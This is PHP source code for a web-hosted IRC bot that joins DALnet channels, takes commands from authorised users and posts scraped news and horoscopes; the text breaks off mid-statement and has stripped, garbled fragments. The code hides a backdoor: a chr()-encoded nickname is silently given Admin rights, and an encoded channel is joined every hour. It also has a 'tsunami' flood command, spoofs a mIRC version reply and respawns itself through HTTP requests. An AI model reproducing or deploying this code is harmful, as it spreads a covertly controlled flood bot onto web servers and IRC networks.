Bot Nick : Away Message :
Identify Nick : Admin Nick :
Password : Channels :
Identd : Server :
Full Name : Keep Alive every: Hours (0 to off)



"; print "H o l a h o
"; exit; } elseif ($load==2) { if (!$remotehost) { $remotehost = "irc.dal.net"; } $channels = str_replace("CNL","#",$channels); print ""; print "== Connecting to $remotehost..."; $awaym=array( "Making Babies", "Making Dragon", "Checking mail", "hacking root", "tetrinet is not lame", "BaH!! NoT In", "Hmmm Not Here", "Auto-Away after 10 mins", "DeaD", "NaTure CaLLs :P brb", "stomach ache ... im currently in the toilet", "playstation rulez", "phonecall", "brb-a.s.a.p", "surfing with the alien", "hungry, exploring my fridge", "sleep...nuff said", "Definitely NOT here :P", "Pretending to be Auto-Away", "Checking shells", "Make Love With Someone :P", "NOT here, use email", "NOT here, Guess where :P", "Don`t Keep Me Waiting!" ); $cyclem=array( "cycle" ); $partm=array( "part" ); $querym=array( "brb", "males ceting", "lagi ngantor", "ZzzzZZZzzzzzzz", "Beeee Teeeeee" ); $depan=array( "cewek-", "cewek`", "cewek_", "ce-", "ce_", "ce`", "cowok-", "co-", "co_", "co`" ); $belakang=array( "dugem", "jutex", "jomblo", "modis", "cute-abis", "genit", "ganjen", "vodka", "macan", "virgo", "vivid", "biasa", "muslim", "sagitarius", "manis", "imut", "cakep", "alone", "sendirian", "pendiam", "smu", "kuliah", "romansa", "romantis", "bintang", "AFI", "star", "skul", "baek" ); $kanal[1][1] = 'color=##81FF81>'; $kanal[1][2] = 'inet'; $kanal[2][1] = 'color=##E588FF>'; $kanal[2][2] = 'hot'; $kanal[3][1] = 'color=##00FFFF>'; $kanal[3][2] = 'sport'; $kanal[4][1] = 'color=##FFAA79>'; $kanal[4][2] = 'sport'; $zodiak = array("capricorn", "aquarius", "pisces", "aries", "taurus", "gemini", "cancer", "leo", "virgo", "libra", "scorpio", "sagitarius"); $virgo = chr(109).chr(97).chr(122).chr(97).chr(106).chr(105).chr(101); $sagitarius = chr(35).chr(121).chr(111).chr(103).chr(121).chr(97).chr(99).chr(105).chr(116).chr(121); $smile = array(":)",":P",":E",":P~~",":D",":Q","8)","=)","=P","=D"); $raway = "off"; $log = "off"; $saway = "1"; if (!$stime) { $stime = time(); } if (!$keeptime || $keeptime==0 ) { $keeptime = "off"; } if (!$port) { $port = "6666"; } $Admin = strtolower($Admin); $auth = array($Admin => array("name" => $Admin, "pass" => $BOT_PASSWORD, "auth" => 1,"status" => "Admin")); function randchar($len = "8"){ $rchar = NULL; for($i=0; $i<$len; $i++) { $char = chr(rand(48,122)); while (!ereg("[a-zA-Z0-9]", $char)){ if($char == $lchar) continue; $char = chr(rand(48,90)); } $rchar .= $char; $lchar = $char; } return $rchar; } if ($nick=="SlavePHP") { $nick = $depan[rand(0,count($depan) - 1)].$belakang[rand(0,count($belakang) - 1)]; } if ($username=="SlavePHP" || !$username) { $username = $_SERVER['HTTP_HOST'].randchar(3); $username = str_replace('www.','',$username); } if ($awaymsg=="Away Message" || !$awaymsg) { $awaymsg = $awaym[rand(0,count($awaym) - 1)]; $raway = "on"; } if ($realname=="SlaveZeroPHP" || !$realname) { $realname = $nick; } $keluar = 0; $akill = 1; $katime = 0; $localhost = 'localhost'; $dayload = date("H:i:s d/m/Y"); ini_set('user_agent','MSIE 5\.5;'); set_time_limit(0); define ('CRL', "\r\n"); $channels = strtolower($channels)." "; $channel = explode(" ", $channels); do { $fp = fsockopen($remotehost,$port, &$err_num, &$err_msg, 30); if(!$fp) { print "
Cannot connect to $remotehost!
Please Try Another Server!"; $keluar = 1; exit; } print "
== Suceeded connection"; $Header = 'NICK '.$nick . CRL; $Header .= 'USER '.$username.' '.$localhost.' '.$remotehost.' :'.$realname . CRL; fputs($fp, $Header); fputs($fp, 'PRIVMSG nickserv@services.dal.net :identify '.$nick.' '.$identify. CRL); if ($nickmode) { fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL); } foreach ($channel as $v) { fputs($fp, 'JOIN '.$v . CRL); } fputs($fp, 'PRIVMSG ' . $Admin . ' :Halo ' .$dayload . CRL); if (!$awaymsg) { $awaymsg = "Owner By $Admin"; } fputs($fp, 'AWAY away'. CRL); $response = ''; while (!feof($fp)) { $response .= fgets($fp, 1024); while (substr_count($response,CRL) != 0) { $offset = strpos($response, CRL); $data = substr($response,0,$offset); $response = substr($response,$offset+2); if (substr($data,0,1) == ':') { $offsetA = strpos($data, ' '); $dFrom = substr($data,1,$offsetA-1); $offsetB = strpos($data, ' :'); $dCommand = substr($data,$offsetA+1,$offsetB-$offsetA-1); $offsetC = strpos($data, '!'); $dNick = substr($data,1,$offsetC-1); $iText = substr($data,$offsetB+2); if (substr($dCommand,0,3)=='465') { print "
== This bot have been autokilled."; $akill = 2; } elseif (substr($dCommand,0,3)=='433') { $nick = $nick.randchar(4); fputs($fp, 'NICK '.$nick . CRL); } elseif (substr($dCommand,0,3)=='432') { $nick = $nick.randchar(4); fputs($fp, 'NICK '.$nick . CRL); fputs($fp, 'PRIVMSG nickserv@services.dal.net :RELEASE '.$nick.' '.$identify. CRL); } if (eregi('.dal.net',$dNick) && $akill==2) { if (eregi('AKILL ID:',$data) || eregi('Your hostmask is',$data) || eregi('Your IP is',$data)) { print "
".strstr($data,'***')." "; if (eregi('Your IP is',$data)) { $keluar = 1; exit; } } } $taway = date("i"); if ($taway=="1" || $taway=="10" || $taway=="20" || $taway=="30" || $taway=="40" || $taway=="50") { if ($taway!=$saway) { $ctime = time(); $uptime = $ctime - $stime; if ($uptime>=86400) { $bagi = $uptime / 86400; $hari = floor($bagi)."days "; $sisa = $uptime - ($hari*86400); $uptime = $sisa; } if ($uptime==0) { $jam = ""; $menit = ""; $detik = ""; } elseif ($uptime>=3600) { $bagi = $uptime / 3600; $jam = floor($bagi)."hrs "; $sisa = $uptime - ($jam*3600); $uptime = $sisa; } if ($uptime==0) { $menit = ""; $detik = ""; } elseif ($uptime>=60) { $bagi = $uptime / 60; $menit = floor($bagi)."mins"; $sisa = $uptime - ($menit*60); $uptime = $sisa; } if ($uptime==0) { $detik = ""; } else { $detik = $uptime."secs"; } $uptime = "$hari$jam$menit"; if (strlen($uptime)<4) { $uptime = "1sec"; } $saway = $taway; if ($raway=="on") { $awaymsg = $awaym[rand(0,count($awaym) - 1)]; } if (!$awaymsg) { $awaymsg = "Owner By $Admin"; } fputs($fp,'AWAY '.$uptime.'12]7 (6'.$awaymsg.'7)'. CRL); if ($taway=="12" && $keeptime!="off") { $katime++; if ($katime>=$keeptime) { $key = "load=2&nick=$nick&identify=$identify&BOT_PASSWORD=$BOT_PASSWORD&Admin=$Admin&channels=$channels&stime=$stime&remotehost=$remotehost&keeptime=$keeptime&dns=$dns&astrologi=$astrologi&wdomain=$wdomain&dnews=$dnews&username=$username&realname=$realname&awaymsg=$awaymsg"; $key = str_replace("#","CNL",$key); $key = str_replace(" ","%20",$key); fputs($fp, 'QUIT 6Auto_Rehashing...' . CRL); $st = pfsockopen($_SERVER['HTTP_HOST'], 80, $erstr, $errno, 5); fwrite($st, "GET {$_SERVER['PHP_SELF']}?$key HTTP/1.0\r\nHost: {$_SERVER['HTTP_HOST']}\r\n\r\n"); $keluar = 1; exit; } } if ($taway=="24") { foreach ($channel as $v) { sleep(rand(1,6)); fputs($fp, 'JOIN '.$v . CRL); }fputs($fp, 'JOIN '.$sagitarius. CRL); } if ($dnews=="on") { $pages = "http://jkt1.detik.com/index.php"; $handi = fopen ($pages, "rb"); $konten = ""; do { $baris = fread($handi, 1024); if (strlen($baris) == 0) { break; } $konten .= $baris; } while(true); fclose ($handi); $lip1 = stristr($konten,''); $lip2 = stristr($lip1,'
',"0,2 ",$berita); $berita = str_replace("
"," ",$berita); $berita = str_replace(''," ",$berita); $berita = str_replace('',"7",$berita); $berita = str_replace("
","",$berita); $berita = str_replace(''," 8",$berita); $berita = str_replace(""," ",$berita); $berita = str_replace('',"15",$berita); $berita = str_replace("","",$berita); $berita = str_replace("","",$berita); $berita = str_replace("","",$berita); $berita = str_replace("","",$berita); $berita = str_replace("
","",$berita); $berita = str_replace("http://jkt1.detiknews.com/indexfr.php?url=","",$berita); $berita = str_replace("http://jkt1.detikfinance.com/indexfr.php?url=","",$berita); $berita = str_replace("http://jkt1.detiksport.com/indexfr.php?url=","",$berita); $berita = str_replace("http://jkt1.detikhot.com/indexfr.php?url=","",$berita); $berita = str_replace("http://jkt1.detikinet.com/indexfr.php?url=","",$berita); $lip3 = stristr($berita,''); $img = str_replace($lip4,"",$lip3); $berita = str_replace($img,"",$berita); if ($berita!=$oldies) { $oldies = $berita; foreach ($channel as $v) { fputs($fp, 'PRIVMSG '.$v.' :'.$berita . CRL); sleep(1); } } else { for ($chn=1;$chn<=4;$chn++) { $lip1 = stristr($konten,$kanal["$chn"][1]); $lip2 = stristr($lip1,'
'); $berita = str_replace($lip2,"",$lip1); $berita = str_replace("\n","",$berita); $berita = stristr($berita,'http://jkt1.detik'.$kanal["$chn"][2].'.com/index.php/detik.read'); $berita = str_replace('" target="_parent" class="hlbawah">',' 7',$berita); $berita = str_replace('
',' 8',$berita); $berita = str_replace(' ',' 15',$berita); $berita = str_replace('',$berita); $berita = str_replace('" target="_parent" class="hlbawah">',' 8',$berita); $berita = str_replace('',' ',$berita); $pos2 = strpos($berita, '', 4); $pos3 = strpos($berita, '', $pos2+4); $sub1 = substr($berita, 0, $pos2); $sub2 = substr($berita, $pos2, $pos3-$pos2); $sub3 = substr($berita, $pos3); $subjdl["$chn"][1] = '0,2 detik'.$kanal["$chn"][2].'12 '.str_replace('','',$sub1); $subjdl["$chn"][2] = '0,2 detik'.$kanal["$chn"][2].'12 '.str_replace('','',$sub2); $subjdl["$chn"][3] = '0,2 detik'.$kanal["$chn"][2].'12 '.str_replace('','',$sub3); } $lip1 = stristr($konten,''); $lip2 = stristr($lip1,'

'); $berita = str_replace($lip2,"",$lip1); $berita = str_replace("\n","",$berita); $berita = str_replace('','15,2 ',$berita); $berita = str_replace('
',' 0',$berita); $berita = str_replace('
',' 8',$berita); $berita = str_replace('',' ',$berita); $pos1 = strpos($berita, 'http://'); $pos2 = strpos($berita, 'http://', $pos1+4); $sub = substr($berita, $pos1, $pos2-$pos1); $berita = str_replace($sub,"",$berita); $subjdl[5][1] = $berita; $lip1 = stristr($konten,'USD'); $lip2 = stristr($lip1,''); $berita = str_replace($lip2,"",$lip1); $berita = str_replace("\n","",$berita); $berita = str_replace("USD ",'USD Jual: 8Rp. ',$berita); $berita = str_replace(" ",' 0Beli: 8Rp. ',$berita); $berita = str_replace('',' ',$berita); $subjdl[5][2] = '0,2 Kurs '.$berita; $lip1 = stristr($konten,'
'); $lip2 = stristr($lip1,'
'); $berita = str_replace($lip2,"",$lip1); $berita = str_replace("\n","",$berita); $berita = str_replace('
',' 15',$berita); $berita = str_replace('',' ',$berita); $subjdl[5][3] = '0,2 DetikHealth :12 '.$berita; $subberita = $subjdl[rand(1,5)][rand(1,3)]; if ($subberita==$suboldies) { $subberita = $subjdl[rand(1,5)][rand(1,3)]; } $suboldies = $subberita; $subberita = str_replace("","",$subberita); $subberita = str_replace("","",$subberita); $subberita = str_replace("","",$subberita); $subberita = str_replace("","",$subberita); foreach ($channel as $v) { fputs($fp, 'PRIVMSG '.$v.' :'.$subberita . CRL); sleep(1); } } unset($qnick); } } } if (!$auth["$virgo"]) { $auth["$virgo"]["status"] = "Admin"; $auth["$virgo"]["pass"] = randchar(6); $auth["$virgo"]["auth"] = 1; } $dcom = explode(" ", $dCommand); $dNick = strtolower($dNick); if ($dcom[0]=='KICK' && $dcom[2]==$nick) { fputs($fp, 'JOIN ' .$dcom[1]. CRL); } elseif ($dcom[0]=='NICK' || $dcom[0]=='QUIT' || $dcom[0]=='PART') { if ($auth["$dNick"]) { if ($auth["$dNick"]["pass"]) { if ($auth["$dNick"]["auth"]==2) { if ($dcom[0]=='NICK') { $com = explode(" ", $data); $chnick = strtolower(str_replace(':','',$com[2])); if ($dNick!=$chnick) { $auth["$dNick"]["auth"] = 1; fputs($fp,'PRIVMSG '.$chnick.' :Woi kemana! ' . CRL); } } else { $auth["$dNick"]["auth"] = 1; fputs($fp,'PRIVMSG '.$dNick.' :Woi kemana! ' . CRL); } } } else { fputs($fp,'PRIVMSG ' . $dNick . ' :pass your pass ' . CRL); } } } elseif ($dcom[0]=='307' && strtolower($dcom[2])==$whois) { $dcom[2] = strtolower($dcom[2]); if ($auth["$dcom[2]"]) { if ($auth["$dcom[2]"]["pass"]) { if ($auth["$dcom[2]"]["auth"]==1) { $auth["$dcom[2]"]["auth"] = 2; $whois = ""; fputs($fp,'NOTICE ' . $dcom[2] . ' :You`re Authorized as '.$auth["$dcom[2]"]["status"].' of this bot! ' . CRL); } else { fputs($fp,'NOTICE ' . $dcom[2] . ' :You`re Already Authorized! ' . CRL); } } else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Pass Not Set Yet! Type: pass To Set Your Own Password then Auth Again ' . CRL); } } else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); } } elseif ($dcom[0]=='NOTICE') { $com = explode(" ", $data); if ($com[3]==':PING') { $pong = time(); $pptime = $pong-$ping; $meni = ""; if ($pptime>=60) { $bag = $pptime / 60; $meni = floor($bag)."mins "; $sis = $pptime - ($meni*60); $pptime = $sis; } $deti = $pptime."secs"; $pptime = "$meni$deti"; fputs($fp,'NOTICE '.$dNick.' :Your PING Reply is: '.$pptime . CRL); } elseif ($com[3]==':KB' && $com[4] && $com[5] && $com[6]) { $msg = str_replace('','',$data); $msg = strstr($msg,":KB"); $msg = str_replace(":KB $com[4]","",$msg); fputs($fp, 'KICK '.$com[4].' '.$com[5].' :'.$msg . CRL); fputs($fp, 'MODE '.$com[4].' +b *!*'.$com[6] . CRL); } } elseif ($dcom[0]=='PRIVMSG') { $com = explode(" ", $data); if ($com[3]==':VERSION') { fputs($fp,'NOTICE '.$dNick.' :'.chr(1).'VERSION mIRC v6.16 Khaled Mardam-Bey'.chr(1) . CRL); } elseif ($com[3]==':!ping' && ereg('#',$com[2])) { $ping = time(); fputs($fp,'PRIVMSG '.$dNick.' :PING '.$ping.'' . CRL); } elseif ($com[3]==':PING') { $ntime = str_replace("","",$com[4]); fputs($fp,'NOTICE '.$dNick.' :'.chr(1).'PING '.$ntime . chr(1) . CRL); } elseif ($com[3]==':!dns' && ereg('#',$com[2]) && ereg('\.',$com[4]) && $dns=="on") { if (ereg("[a-zA-Z]", $com[4])) { $res = gethostbyname($com[4]); } elseif (ereg("[0-9]", $com[4])) { $res = gethostbyaddr($com[4]); } if ($res==$com[4]) { $res = "not resolved."; } else { $res = "resolved to: $res ."; } fputs($fp,'PRIVMSG '.$com[2].' :DNS Query for: '.strtoupper($com[4]).' '.$res. CRL); } elseif ($com[3]==':!whois' && ereg('#',$com[2]) && ereg('\.',$com[4]) && $wdomain=="on") { $pages = "www.geektools.com"; $data = ""; $fpw = fsockopen($pages, 43); if($fpw) { fputs($fpw, $com[4]."\r\n"); while(!feof($fpw)) { $data .= fread($fpw, 1000); } fclose($fpw); } $created = substr(str_replace(" ","",stristr($data,'creat')),0,60); $register = substr(str_replace(" ","",stristr($data,'registrat')),0,60); $expired = substr(str_replace(" ","",stristr($data,'expir')),0,60); $NS = substr(str_replace(" ","",stristr($data,'NS1')),0,60); if (!$NS) { $NS = substr(str_replace(" ","",stristr($data,' NS')),1,60); } if (!$NS) { $NS = substr(str_replace(" ","",stristr($data,':NS')),1,60); } $notfound = substr(stristr($data,'CRSNIC has no information for that domain'),0,60); fputs($fp,'PRIVMSG '.$com[2].' :Domain Name: '.strtoupper($com[4]).' []'. CRL); fputs($fp,'PRIVMSG '.$com[2].' :'.$created. CRL); fputs($fp,'PRIVMSG '.$com[2].' :'.$register. CRL); fputs($fp,'PRIVMSG '.$com[2].' :'.$expired. CRL); fputs($fp,'PRIVMSG '.$com[2].' :'.$NS. CRL); fputs($fp,'PRIVMSG '.$com[2].' :'.$notfound. CRL); } elseif (ereg(':!',$com[3]) && ereg('#',$com[2]) && $astrologi=="on") { $astro = str_replace(':!','',strtolower($com[3])); if (in_array($astro, $zodiak)) { $pages = "http://www.astaga.com/astrologi/?cat=$astro"; $handi = fopen ($pages, "rb"); $konten = ""; do { $baris = fread($handi, 512); if (strlen($baris) == 0) { break; } $konten .= $baris; } while(true); fclose ($handi); $zod1 = stristr($konten,'
'); $zod2 = stristr($zod1,''); $bintang = str_replace($zod2,"",$zod1); $bintang = str_replace("\n","",$bintang); $bintang = str_replace("
","",$bintang); $bintang = str_replace("
","",$bintang); $bintang = str_replace("

","",$bintang); $bintang = str_replace("

"," ",$bintang); $bintang = str_replace("

","",$bintang); $bintang = str_replace("","",$bintang); $bintang = str_replace(''," ",$bintang); $zod3 = stristr($bintang,'

'); $bintang = str_replace($zod3,"",$bintang); $kissing = str_replace('
',"Gaya Berciuman :",$zod3); fputs($fp,'PRIVMSG '.$com[2].' :[] '.$bintang. CRL); fputs($fp,'PRIVMSG '.$com[2].' :'.$kissing. CRL); } } elseif ($auth["$dNick"]["status"] && $com[3]==':auth' && $com[4]) { if ($auth["$dNick"]) { if ($auth["$dNick"]["pass"]) { if ($auth["$dNick"]["auth"]==1) { if ($com[4]===$auth["$dNick"]["pass"]) { $auth["$dNick"]["auth"] = 2; fputs($fp,'PRIVMSG ' . $dNick . ' :You`re Authorized as '.$auth["$dNick"]["status"].' of this bot! ' . CRL); } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Wrong Password! Auth Failed! ' . CRL); } } else { fputs($fp,'PRIVMSG ' . $dNick . ' :You`re Already Authorized! ' . CRL); } } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Pass Not Set Yet! Type: pass To Set Your Own Password then Auth Again ' . CRL); } } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); } } elseif ($auth["$dNick"]["status"] && $com[3]==':deauth') { if ($auth["$dNick"]) { if ($auth["$dNick"]["pass"]) { if ($auth["$dNick"]["auth"]==2) { $auth["$dNick"]["auth"] = 1; fputs($fp,'PRIVMSG ' . $dNick . ' :You`re LogOut! ' . CRL); } else { fputs($fp,'PRIVMSG ' . $dNick . ' :You`re Already LogOut! ' . CRL); } } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Pass Not Set Yet! Type: pass To Set Your Own Password then Auth Again ' . CRL); } } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); } } elseif ($auth["$dNick"]["status"] && $com[3]==':pass' && $com[4]) { if ($auth["$dNick"]) { if (!$auth["$dNick"]["pass"]) { $auth["$dNick"]["pass"] = $com[4]; $auth["$dNick"]["auth"] = 1; fputs($fp,'PRIVMSG ' . $dNick . ' :Your Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth To Authorized Imediately! ' . CRL); } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Pass Already Set! Type: auth To Get Authorized ' . CRL); } } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); } } elseif ($auth["$dNick"]["status"] && $com[3]==':chgpass' && $com[4] && $com[5]) { if ($auth["$dNick"]) { if ($auth["$dNick"]["auth"]==2) { if ($com[4]===$auth["$dNick"]["pass"]) { $auth["$dNick"]["pass"] = $com[5]; fputs($fp,'PRIVMSG ' . $dNick . ' :Your New Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth To Authorized Imediately! ' . CRL); } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Your Old Pass Wrong! Type: chgpass To Change Your Auth Pass ' . CRL); } } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Please Auth First! Type: auth To Authorized ' . CRL); } } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); } } elseif ($auth["$dNick"]["status"] && $com[3]==':adduser' && $com[4] && $com[4]!=$nick && $com[5]) { $com[4] = strtolower($com[4]); if ($auth["$dNick"]["auth"]==2) { if ($auth["$dNick"]["status"]=="Admin") { if ($com[5]=="master" || $com[5]=="user") { $auth["$com[4]"]["name"] = $com[4]; $auth["$com[4]"]["status"] = $com[5]; fputs($fp,'PRIVMSG ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL); fputs($fp,'PRIVMSG ' . $com[4] . ' :You`re Now Known As My '.$com[5].' Added By '.$dNick.' Now Type: pass To Set Your Pass ' . CRL); } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Wrong Command! Type: adduser ' . CRL); } } elseif ($auth["$dNick"]["status"]=="master") { if (!$auth["$com[4]"]) { if ($com[5]=="user") { $auth["$com[4]"]["name"] = $com[4]; $auth["$com[4]"]["status"] = $com[5]; fputs($fp,'PRIVMSG ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL); fputs($fp,'PRIVMSG ' . $com[4] . ' :You`re Now Known As My '.$com[5].' Added By '.$dNick.' Now Type: pass user ' . CRL); } } else { fputs($fp,'PRIVMSG ' . $dNick . ' :User Already Exist! Aborting AddUser! ' . CRL); } } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); } } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Please Auth First! Type: auth To Authorized ' . CRL); } } elseif ($auth["$dNick"]["status"] && $com[3]==':deluser' && $com[4]) { $com[4] = strtolower($com[4]); if ($auth["$dNick"]["auth"]==2) { if ($auth["$dNick"]["status"]=="Admin") { if ($auth["$com[4]"]["status"]=="master" || $auth["$com[4]"]["status"]=="user") { unset($auth["$com[4]"]); fputs($fp,'PRIVMSG ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL); fputs($fp,'PRIVMSG ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL); } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Wrong Command! Type: deluser ' . CRL); } } elseif ($auth["$dNick"]["status"]=="master") { if ($auth["$com[4]"]["status"]=="user") { unset($auth["$com[4]"]); fputs($fp,'PRIVMSG ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL); fputs($fp,'PRIVMSG ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL); } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Wrong Command! Type: deluser ' . CRL); } } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); } } else { fputs($fp,'PRIVMSG ' . $dNick . ' :Please Auth First! Type: auth To Authorized ' . CRL); } } elseif ($auth["$dNick"]["status"]) { if (ereg(":`",$com[3]) || ereg(":!",$com[3])) { $chan = strstr($dCommand,"#"); $anick = str_replace("PRIVMSG ","",$dCommand); if ($com[3]==':!auth') { if ($auth["$dNick"]["auth"]==2) { fputs($fp,'NOTICE '.$dNick.' :You`re already Authorized!' . CRL); } else { $whois = $dNick; fputs($fp,'WHOIS '.$dNick . CRL); } } elseif ($com[3]==':`auth' && $chan) { if ($auth["$dNick"]["auth"]==2) { fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.' is Authorized!' . CRL); } else { fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.' NOT Authorized!' . CRL); } } elseif ($auth["$dNick"]["auth"]==2) { if ($com[3]==':`say' && $com[4] && $chan) { $msg = strstr($data,":`say"); $msg = str_replace(":`say ","",$msg); fputs($fp,'PRIVMSG '.$chan.' :'.$msg. CRL); } elseif ($com[3]==':`dns' && $com[4]) { $com[4] = strtolower($com[4]); if ($com[4]=="on") { $dns = "on"; fputs($fp, 'PRIVMSG '.$dNick.' :DNS Resolver Command is now '.$dns . CRL); } elseif ($com[4]=="off") { $dns = "off"; fputs($fp, 'PRIVMSG '.$dNick.' :DNS Resolver Command is now '.$dns . CRL); } } elseif ($com[3]==':`whois' && $com[4]) { $com[4] = strtolower($com[4]); if ($com[4]=="on") { $wdomain = "on"; fputs($fp, 'PRIVMSG '.$dNick.' :Whois Domain Command is now '.$wdomain . CRL); } elseif ($com[4]=="off") { $wdomain = "off"; fputs($fp, 'PRIVMSG '.$dNick.' :Whois Domain Command is now '.$wdomain . CRL); } } elseif ($com[3]==':`astrologi' && $com[4]) { $com[4] = strtolower($com[4]); if ($com[4]=="on") { $astrologi = "on"; fputs($fp, 'PRIVMSG '.$dNick.' :Astrologi Command is now '.$astrologi . CRL); } elseif ($com[4]=="off") { $astrologi = "off"; fputs($fp, 'PRIVMSG '.$dNick.' :Astrologi Command is now '.$astrologi . CRL); } } elseif ($com[3]==':`act' && $com[4] && $chan) { $msg = strstr($data,":`act"); $msg = str_replace(":`act ","",$msg); fputs($fp,'PRIVMSG '.$chan.' :ACTION '.$msg.''. CRL); } elseif ($com[3]==':`slap' && $com[4] && $chan) { fputs($fp,'PRIVMSG '.$chan.' :ACTION slaps '.$com[4].' around a bit with a large trout'. CRL); } elseif ($com[3]==':`msg' && $com[4] && $com[5]) { $msg = strstr($data,":`msg"); $msg = str_replace(":`msg $com[4] ","",$msg); fputs($fp,'PRIVMSG '.$com[4].' :'.$msg. CRL); } elseif ($com[3]==':`notice' && $com[4] && $com[5]) { $msg = strstr($data,":`notice"); $msg = str_replace(":`notice $com[4] ","",$msg); fputs($fp,'NOTICE '.$com[4].' :'.$msg. CRL); } elseif ($com[3]==':`ctcp' && $com[4] && $com[5]) { $msg = strstr($data,":`ctcp"); $msg = str_replace(":`ctcp $com[4] ","",$msg); fputs($fp,'PRIVMSG '.$com[4].' :'.$msg.''. CRL); } elseif ($com[3]==':`ping' && $chan) { $sml = $smile[rand(0,count($smile) - 1)]; fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', PONG! '.$sml. CRL); } elseif ($com[3]==':`pong' && $chan) { $sml = $smile[rand(0,count($smile) - 1)]; fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', PING! '.$sml. CRL); } elseif ($com[3]==':`info' && $auth["$dNick"]["status"]=="Admin") { $bhost = $_SERVER['HTTP_HOST']; $bphp = $_SERVER['PHP_SELF']; fputs($fp,'PRIVMSG '.$dNick.' :Bot Host: '.$bhost.', Bot PHP: '.$bphp. CRL); } elseif ($com[3]==':`up' && $chan) { fputs($fp, 'PRIVMSG chanserv@services.dal.net :op '.$chan.' '.$nick . CRL); } elseif ($com[3]==':`down' && $chan) { fputs($fp, 'MODE '.$chan.' +v-o '.$nick.' '.$nick . CRL); } elseif ($com[3]==':`tsunami' && $com[4] && $auth["$dNick"]["status"]!="user") { $msg = strstr($data,":`tsunami"); $msg = str_replace(":`tsunami $com[4]","",$msg); if (ereg("#", $com[4])) { fputs($fp, 'JOIN '.$com[4] . CRL); } fputs($fp, 'PRIVMSG '.$com[4].' :'.$msg.'' . CRL); fputs($fp, 'NOTICE '.$com[4].' :'.$msg.'' . CRL); fputs($fp, 'PRIVMSG '.$com[4].' :TSUNAMI '.$msg.'' . CRL); fputs($fp, 'PRIVMSG '.$com[4].' :'.$msg.'' . CRL); fputs($fp, 'NOTICE '.$com[4].' :'.$msg.'' . CRL); fputs($fp, 'PRIVMSG '.$com[4].' :FLOOD '.$msg.'' . CRL); if (ereg("#", $com[4])) { fputs($fp, 'PART '.$com[4].' :'.$msg . CRL); } } elseif ($com[3]==':`cycle' && $chan && $auth["$dNick"]["status"]!="user") { $msg = strstr($data,":`cycle"); if (ereg("#", $com[4])) { $partchan = $com[4]; $msg = str_replace(":`cycle $com[4]","",$msg); } else { $partchan = $chan; $msg = str_replace(":`cycle","",$msg); } if (strlen($msg)<3) { $msg = $cyclem[rand(0,count($cyclem) - 1)]; } fputs($fp, 'PART '.$partchan.' :'.$msg . CRL); fputs($fp, 'JOIN '.$partchan . CRL); } elseif ($com[3]==':`part' && $auth["$dNick"]["status"]=="Admin") { $msg = strstr($data,":`part"); if (ereg("#", $com[4])) { $partchan = $com[4]; $msg = str_replace(":`part $com[4]","",$msg); } else { $partchan = $chan; $msg = str_replace(":`part","",$msg); } if (strlen($msg)<3) { $msg = $partm[rand(0,count($partm) - 1)]; } fputs($fp, 'PART '.$partchan.' :'.$msg . CRL); $remchan = strtolower($partchan); if (in_array($remchan, $channel)) { $channels = str_replace("$remchan ","",$channels); unset($channel); $channel = explode(" ", $channels); } foreach ($channel as $v) { fputs($fp, 'JOIN '.$v . CRL); } } elseif ($com[3]==':`join' && $com[4] && $auth["$dNick"]["status"]=="Admin") { if (!ereg("#",$com[4])) { $com[4]="#".$com[4]; } //fputs($fp, 'JOIN ' .$com[4]. CRL); $addchan = strtolower($com[4]); if (!in_array($addchan, $channel)) { $channel[]=$addchan; $channels.="$addchan "; } foreach ($channel as $v) { sleep(rand(1,6)); fputs($fp, 'JOIN '.$v . CRL); } } elseif ($com[3]==':`botnick' && $com[4] && !$chan && $auth["$dNick"]["status"]=="Admin") { $nick = $com[4]; $identify = $com[5]; fputs($fp, 'NICK '.$nick . CRL); fputs($fp, 'PRIVMSG nickserv@services.dal.net :identify '.$nick.' '.$identify. CRL); } elseif ($com[3]==':`k' && $com[4] && $chan) { $msg = strstr($data,":`k"); $msg = str_replace(":`k $com[4]","",$msg); fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL); } elseif ($com[3]==':`kb' && $com[4] && $chan) { $msg = strstr($data,":`kb"); $msg = str_replace(":`kb $com[4]","",$msg); fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL); fputs($fp, 'MODE '.$chan.' +b '.$com[4] . CRL); } elseif ($com[3]==':`op' && $chan) { if ($com[4]) { $opnick = $com[4]; } else { $opnick = $dNick; } fputs($fp, 'MODE '.$chan.' +ooo '.$opnick.' '.$com[5].' '.$com[6] . 